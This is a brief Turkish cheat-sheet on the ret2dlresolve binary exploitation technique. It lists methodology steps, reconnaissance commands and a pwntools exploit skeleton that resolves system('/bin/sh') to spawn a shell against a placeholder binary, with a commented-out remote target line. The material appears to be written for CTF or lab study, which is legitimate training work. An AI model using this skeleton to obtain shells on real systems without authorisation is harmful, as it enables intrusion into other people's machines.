Ret2dlresolve
binexp rop
Ret2dlresolve bellek güvenliği istismarı notudur. Protections ölç, primitif kur, kontrol akışını ele geçir.
Metodoloji
Section titled “Metodoloji”-
checksec + mimari + crash yüzeyini çıkar.
-
Leak veya write primitifini kur.
-
ROP/hook/AW2E ile kontrol akışı al.
-
Shell veya flag’i stabilize et.
Binary profil
Section titled “Binary profil”file ./vulnchecksec --file=./vulnpwn checksec ./vulnreadelf -l ./vuln | rg -i 'gnu_stack|interp'readelf -S ./vuln | rg -i 'got|plt|bss|fini'gdb -q ./vulnROP zinciri
Section titled “ROP zinciri”ROPgadget --binary ./vuln | headfrom pwn import *ell=ELF('./vuln'); rop=ROP(ell)print(rop.gadgets)ret2dlresolve
Section titled “ret2dlresolve”from pwn import *ell=ELF('./vuln')rop=ROP(ell)dl=Ret2dlresolvePayload(ell,symbol='system',args=['/bin/sh'])rop.read(0,dl.data_addr); rop.ret2dlresolve(dl)Exploit iskeleti
Section titled “Exploit iskeleti”from pwn import *context.binary=ell=ELF('./vuln')p=process('./vuln')# p=remote('TARGET',1337)# leak → calc → write → controlp.interactive()python3 exploit.pyChecklist
Section titled “Checklist”[ ] fingerprint / profil alındı[ ] primitif veya erişim doğrulandı[ ] PoC etkiyi gösterdi[ ] kanıt paketlendi[ ] sonraki pivot not edildi